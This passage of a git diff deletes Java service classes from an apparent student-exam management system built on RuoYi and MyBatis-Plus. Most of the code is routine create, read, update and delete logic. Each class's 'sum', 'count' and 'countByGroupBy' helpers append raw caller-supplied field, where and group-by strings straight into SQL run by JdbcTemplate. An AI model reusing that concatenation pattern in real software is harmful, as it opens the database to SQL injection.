columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamStudentMistakesPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamStudentMistakesPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamStudentMistakesPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamStudentMistakesPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamStudentMistakesPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamStudentMistakesPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_student_mistakes "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_student_mistakes "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_student_mistakes "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - /** - * 查询错题集 - * - * @param id 错题集ID - * @return 错题集 - */ - @Override - public ExamStudentMistakes selectExamStudentMistakesById(Long id) { - return examStudentMistakesMapper.selectExamStudentMistakesById(id); - } - - /** - * 查询错题集列表 - * - * @param examStudentMistakes 错题集 - * @return 错题集 - */ - @Override - public List selectExamStudentMistakesList(ExamStudentMistakes examStudentMistakes) { - List list = examStudentMistakesMapper.selectExamStudentMistakesList(examStudentMistakes); - if (list.size() == 0) { - return list; - } - List ids = new ArrayList<>(); - List qids = new ArrayList<>(); - for (ExamStudentMistakes item : list) { - ids.add(item.getStudentId()); - qids.add(item.getQuestionId()); - } - Map examQuestionMap = examQuestionService.getMapByIds(qids, ExamQuestionPlus::getId, ExamQuestionPlus::getQuestion); - Map map = sysUserService.selectMapUserById(ids); - for (ExamStudentMistakes item : list) { - if (map.containsKey(item.getStudentId())) { - item.setStudentName(map.get(item.getStudentId()).getNickName()); - } - if (examQuestionMap.containsKey(item.getQuestionId())) { - item.setQuestionName(examQuestionMap.get(item.getQuestionId()).getQuestion()); - } - } - return list; - } - - /** - * 新增错题集 - * - * @param examStudentMistakes 错题集 - * @return 结果 - */ - @Override - public int insertExamStudentMistakes(ExamStudentMistakes examStudentMistakes) { - examStudentMistakes.setCreateTime(DateUtils.getNowDate()); - return examStudentMistakesMapper.insertExamStudentMistakes(examStudentMistakes); - } - - /** - * 修改错题集 - * - * @param examStudentMistakes 错题集 - * @return 结果 - */ - @Override - public int updateExamStudentMistakes(ExamStudentMistakes examStudentMistakes) { - return examStudentMistakesMapper.updateExamStudentMistakes(examStudentMistakes); - } - - /** - * 批量删除错题集 - * - * @param ids 需要删除的错题集ID - * @return 结果 - */ - @Override - public int deleteExamStudentMistakesByIds(Long[] ids) { - return examStudentMistakesMapper.deleteExamStudentMistakesByIds(ids); - } - - /** - * 删除错题集信息 - * - * @param id 错题集ID - * @return 结果 - */ - @Override - public int deleteExamStudentMistakesById(Long id) { - return examStudentMistakesMapper.deleteExamStudentMistakesById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentPaperAnswerServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentPaperAnswerServiceImpl.java deleted file mode 100644 index d1c2cf2..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentPaperAnswerServiceImpl.java +++ /dev/null @@ -1,234 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; - -import com.luqj.exam.domain.ExamPaperPlus; -import com.luqj.exam.domain.ExamQuestionPlus; -import com.luqj.exam.service.IExamPaperService; -import com.luqj.exam.service.IExamQuestionService; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.ExamStudentPaperAnswerMapper; -import com.luqj.exam.domain.ExamStudentPaperAnswer; -import com.luqj.exam.domain.ExamStudentPaperAnswerPlus; -import com.luqj.exam.service.IExamStudentPaperAnswerService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 学生答题明细Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamStudentPaperAnswerServiceImpl extends ServiceImpl implements IExamStudentPaperAnswerService -{ - @Autowired - private ExamStudentPaperAnswerMapper examStudentPaperAnswerMapper; - @Autowired - private IExamPaperService examPaperService; - @Autowired - private IExamQuestionService examQuestionService; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamStudentPaperAnswerPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamStudentPaperAnswerPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamStudentPaperAnswerPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamStudentPaperAnswerPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamStudentPaperAnswerPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamStudentPaperAnswerPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_student_paper_answer "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_student_paper_answer "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_student_paper_answer "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - @Override - public boolean additionalInfo(List list) { - if (list == null || list.size() == 0) { - return false; - } - List paperIds = new ArrayList<>(); - List questionIds = new ArrayList<>(); - for (ExamStudentPaperAnswer item : list) { - questionIds.add(item.getQuestionId()); - paperIds.add(item.getPaperId()); - } - Map examPaperPlusMap = examPaperService.getMapByIds(paperIds); - Map examQuestionPlusMap = examQuestionService.getMapByIds(questionIds); - for (ExamStudentPaperAnswer item : list) { - if (examPaperPlusMap.containsKey(item.getPaperId())) { - item.setPaperName(examPaperPlusMap.get(item.getPaperId()).getName()); - } - if (examQuestionPlusMap.containsKey(item.getQuestionId())) { - item.setQuestionName(examQuestionPlusMap.get(item.getQuestionId()).getNo()); - } - } - return true; - } - - @Override - public int deleteExamStudentPaperAnswerByParentIds(Long[] ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .in(ExamStudentPaperAnswerPlus::getStuPaperId, ids); - return this.baseMapper.delete(lambdaQueryWrapper); - } - - /** - * 查询学生答题明细 - * - * @param id 学生答题明细ID - * @return 学生答题明细 - */ - @Override - public ExamStudentPaperAnswer selectExamStudentPaperAnswerById(Long id) - { - return examStudentPaperAnswerMapper.selectExamStudentPaperAnswerById(id); - } - - /** - * 查询学生答题明细列表 - * - * @param examStudentPaperAnswer 学生答题明细 - * @return 学生答题明细 - */ - @Override - public List selectExamStudentPaperAnswerList(ExamStudentPaperAnswer examStudentPaperAnswer) - { - return examStudentPaperAnswerMapper.selectExamStudentPaperAnswerList(examStudentPaperAnswer); - } - - /** - * 新增学生答题明细 - * - * @param examStudentPaperAnswer 学生答题明细 - * @return 结果 - */ - @Override - public int insertExamStudentPaperAnswer(ExamStudentPaperAnswer examStudentPaperAnswer) - { - examStudentPaperAnswer.setCreateTime(DateUtils.getNowDate()); - return examStudentPaperAnswerMapper.insertExamStudentPaperAnswer(examStudentPaperAnswer); - } - - /** - * 修改学生答题明细 - * - * @param examStudentPaperAnswer 学生答题明细 - * @return 结果 - */ - @Override - public int updateExamStudentPaperAnswer(ExamStudentPaperAnswer examStudentPaperAnswer) - { - examStudentPaperAnswer.setUpdateTime(DateUtils.getNowDate()); - return examStudentPaperAnswerMapper.updateExamStudentPaperAnswer(examStudentPaperAnswer); - } - - /** - * 批量删除学生答题明细 - * - * @param ids 需要删除的学生答题明细ID - * @return 结果 - */ - @Override - public int deleteExamStudentPaperAnswerByIds(Long[] ids) - { - return examStudentPaperAnswerMapper.deleteExamStudentPaperAnswerByIds(ids); - } - - /** - * 删除学生答题明细信息 - * - * @param id 学生答题明细ID - * @return 结果 - */ - @Override - public int deleteExamStudentPaperAnswerById(Long id) - { - return examStudentPaperAnswerMapper.deleteExamStudentPaperAnswerById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentPaperServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentPaperServiceImpl.java deleted file mode 100644 index ce512fa..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentPaperServiceImpl.java +++ /dev/null @@ -1,228 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; - -import com.luqj.exam.domain.ExamPaperPlus; -import com.luqj.exam.service.IExamPaperService; -import com.luqj.exam.service.IExamStudentPaperAnswerService; -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; - -import com.ruoyi.system.service.ISysUserService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.ExamStudentPaperMapper; -import com.luqj.exam.domain.ExamStudentPaper; -import com.luqj.exam.domain.ExamStudentPaperPlus; -import com.luqj.exam.service.IExamStudentPaperService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 学生考试试卷实例Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamStudentPaperServiceImpl extends ServiceImpl implements IExamStudentPaperService -{ - @Autowired - private ExamStudentPaperMapper examStudentPaperMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - @Autowired - private ISysUserService sysUserService; - @Autowired - private IExamPaperService examPaperService; - @Autowired - private IExamStudentPaperAnswerService examStudentPaperAnswerService; - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamStudentPaperPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamStudentPaperPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamStudentPaperPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamStudentPaperPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamStudentPaperPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamStudentPaperPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_student_paper "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_student_paper "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_student_paper "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - @Override - public boolean additionalInfo(List list) { - if (list == null || list.size() == 0) { - return false; - } - List paperIds = new ArrayList<>(); - List studentIds = new ArrayList<>(); - for (ExamStudentPaper item : list) { - studentIds.add(item.getStudentId()); - paperIds.add(item.getPaperId()); - } - Map examPaperPlusMap = examPaperService.getMapByIds(paperIds); - Map sysUserMap = sysUserService.selectMapUserById(studentIds); - for (ExamStudentPaper item : list) { - if (examPaperPlusMap.containsKey(item.getPaperId())) { - item.setPaperName(examPaperPlusMap.get(item.getPaperId()).getName()); - } - if (sysUserMap.containsKey(item.getStudentId())) { - item.setStudentName(sysUserMap.get(item.getStudentId()).getNickName()); - } - } - return true; - } - - /** - * 查询学生考试试卷实例 - * - * @param id 学生考试试卷实例ID - * @return 学生考试试卷实例 - */ - @Override - public ExamStudentPaper selectExamStudentPaperById(Long id) - { - return examStudentPaperMapper.selectExamStudentPaperById(id); - } - - /** - * 查询学生考试试卷实例列表 - * - * @param examStudentPaper 学生考试试卷实例 - * @return 学生考试试卷实例 - */ - @Override - public List selectExamStudentPaperList(ExamStudentPaper examStudentPaper) - { - return examStudentPaperMapper.selectExamStudentPaperList(examStudentPaper); - } - - /** - * 新增学生考试试卷实例 - * - * @param examStudentPaper 学生考试试卷实例 - * @return 结果 - */ - @Override - public int insertExamStudentPaper(ExamStudentPaper examStudentPaper) - { - return examStudentPaperMapper.insertExamStudentPaper(examStudentPaper); - } - - /** - * 修改学生考试试卷实例 - * - * @param examStudentPaper 学生考试试卷实例 - * @return 结果 - */ - @Override - public int updateExamStudentPaper(ExamStudentPaper examStudentPaper) - { - return examStudentPaperMapper.updateExamStudentPaper(examStudentPaper); - } - - /** - * 批量删除学生考试试卷实例 - * - * @param ids 需要删除的学生考试试卷实例ID - * @return 结果 - */ - @Override - public int deleteExamStudentPaperByIds(Long[] ids) - { - examStudentPaperAnswerService.deleteExamStudentPaperAnswerByParentIds(ids); - return examStudentPaperMapper.deleteExamStudentPaperByIds(ids); - } - - /** - * 删除学生考试试卷实例信息 - * - * @param id 学生考试试卷实例ID - * @return 结果 - */ - @Override - public int deleteExamStudentPaperById(Long id) - { - return examStudentPaperMapper.deleteExamStudentPaperById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentScoreServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentScoreServiceImpl.java deleted file mode 100644 index 4401875..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentScoreServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.ExamStudentScoreMapper; -import com.luqj.exam.domain.ExamStudentScore; -import com.luqj.exam.domain.ExamStudentScorePlus; -import com.luqj.exam.service.IExamStudentScoreService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 学生成绩Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamStudentScoreServiceImpl extends ServiceImpl implements IExamStudentScoreService -{ - @Autowired - private ExamStudentScoreMapper examStudentScoreMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamStudentScorePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamStudentScorePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamStudentScorePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamStudentScorePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamStudentScorePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamStudentScorePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_student_score "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_student_score "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_student_score "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询学生成绩 - * - * @param id 学生成绩ID - * @return 学生成绩 - */ - @Override - public ExamStudentScore selectExamStudentScoreById(Long id) - { - return examStudentScoreMapper.selectExamStudentScoreById(id); - } - - /** - * 查询学生成绩列表 - * - * @param examStudentScore 学生成绩 - * @return 学生成绩 - */ - @Override - public List selectExamStudentScoreList(ExamStudentScore examStudentScore) - { - return examStudentScoreMapper.selectExamStudentScoreList(examStudentScore); - } - - /** - * 新增学生成绩 - * - * @param examStudentScore 学生成绩 - * @return 结果 - */ - @Override - public int insertExamStudentScore(ExamStudentScore examStudentScore) - { - return examStudentScoreMapper.insertExamStudentScore(examStudentScore); - } - - /** - * 修改学生成绩 - * - * @param examStudentScore 学生成绩 - * @return 结果 - */ - @Override - public int updateExamStudentScore(ExamStudentScore examStudentScore) - { - return examStudentScoreMapper.updateExamStudentScore(examStudentScore); - } - - /** - * 批量删除学生成绩 - * - * @param ids 需要删除的学生成绩ID - * @return 结果 - */ - @Override - public int deleteExamStudentScoreByIds(Long[] ids) - { - return examStudentScoreMapper.deleteExamStudentScoreByIds(ids); - } - - /** - * 删除学生成绩信息 - * - * @param id 学生成绩ID - * @return 结果 - */ - @Override - public int deleteExamStudentScoreById(Long id) - { - return examStudentScoreMapper.deleteExamStudentScoreById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/StatsExamAccuracyServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/StatsExamAccuracyServiceImpl.java deleted file mode 100644 index c698aad..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/StatsExamAccuracyServiceImpl.java +++ /dev/null @@ -1,211 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; - -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.system.service.ISysUserService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.StatsExamAccuracyMapper; -import com.luqj.exam.domain.StatsExamAccuracy; -import com.luqj.exam.domain.StatsExamAccuracyPlus; -import com.luqj.exam.service.IStatsExamAccuracyService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 学生答题正确率统计Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class StatsExamAccuracyServiceImpl extends ServiceImpl implements IStatsExamAccuracyService -{ - @Autowired - private StatsExamAccuracyMapper statsExamAccuracyMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - @Autowired - private ISysUserService sysUserService; - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(StatsExamAccuracyPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public StatsExamAccuracyPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(StatsExamAccuracyPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (StatsExamAccuracyPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (StatsExamAccuracyPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(StatsExamAccuracyPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from stats_exam_accuracy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" stats_exam_accuracy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" stats_exam_accuracy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询学生答题正确率统计 - * - * @param id 学生答题正确率统计ID - * @return 学生答题正确率统计 - */ - @Override - public StatsExamAccuracy selectStatsExamAccuracyById(Long id) - { - return statsExamAccuracyMapper.selectStatsExamAccuracyById(id); - } - - /** - * 查询学生答题正确率统计列表 - * - * @param statsExamAccuracy 学生答题正确率统计 - * @return 学生答题正确率统计 - */ - @Override - public List selectStatsExamAccuracyList(StatsExamAccuracy statsExamAccuracy) - { - List list = statsExamAccuracyMapper.selectStatsExamAccuracyList(statsExamAccuracy); - if (list.size() == 0) { - return list; - } - List ids = new ArrayList<>(); - for (StatsExamAccuracy item : list) { - ids.add(item.getUserId()); - } - Map map = sysUserService.selectMapUserById(ids); - for (StatsExamAccuracy item : list) { - if (map.containsKey(item.getUserId())) { - item.setUserName(map.get(item.getUserId()).getNickName()); - } - } - return list; - } - - /** - * 新增学生答题正确率统计 - * - * @param statsExamAccuracy 学生答题正确率统计 - * @return 结果 - */ - @Override - public int insertStatsExamAccuracy(StatsExamAccuracy statsExamAccuracy) - { - statsExamAccuracy.setCreateTime(DateUtils.getNowDate()); - return statsExamAccuracyMapper.insertStatsExamAccuracy(statsExamAccuracy); - } - - /** - * 修改学生答题正确率统计 - * - * @param statsExamAccuracy 学生答题正确率统计 - * @return 结果 - */ - @Override - public int updateStatsExamAccuracy(StatsExamAccuracy statsExamAccuracy) - { - statsExamAccuracy.setUpdateTime(DateUtils.getNowDate()); - return statsExamAccuracyMapper.updateStatsExamAccuracy(statsExamAccuracy); - } - - /** - * 批量删除学生答题正确率统计 - * - * @param ids 需要删除的学生答题正确率统计ID - * @return 结果 - */ - @Override - public int deleteStatsExamAccuracyByIds(Long[] ids) - { - return statsExamAccuracyMapper.deleteStatsExamAccuracyByIds(ids); - } - - /** - * 删除学生答题正确率统计信息 - * - * @param id 学生答题正确率统计ID - * @return 结果 - */ - @Override - public int deleteStatsExamAccuracyById(Long id) - { - return statsExamAccuracyMapper.deleteStatsExamAccuracyById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/StatsExamQuestionAccuracyServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/StatsExamQuestionAccuracyServiceImpl.java deleted file mode 100644 index eb56571..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/StatsExamQuestionAccuracyServiceImpl.java +++ /dev/null @@ -1,212 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; - -import 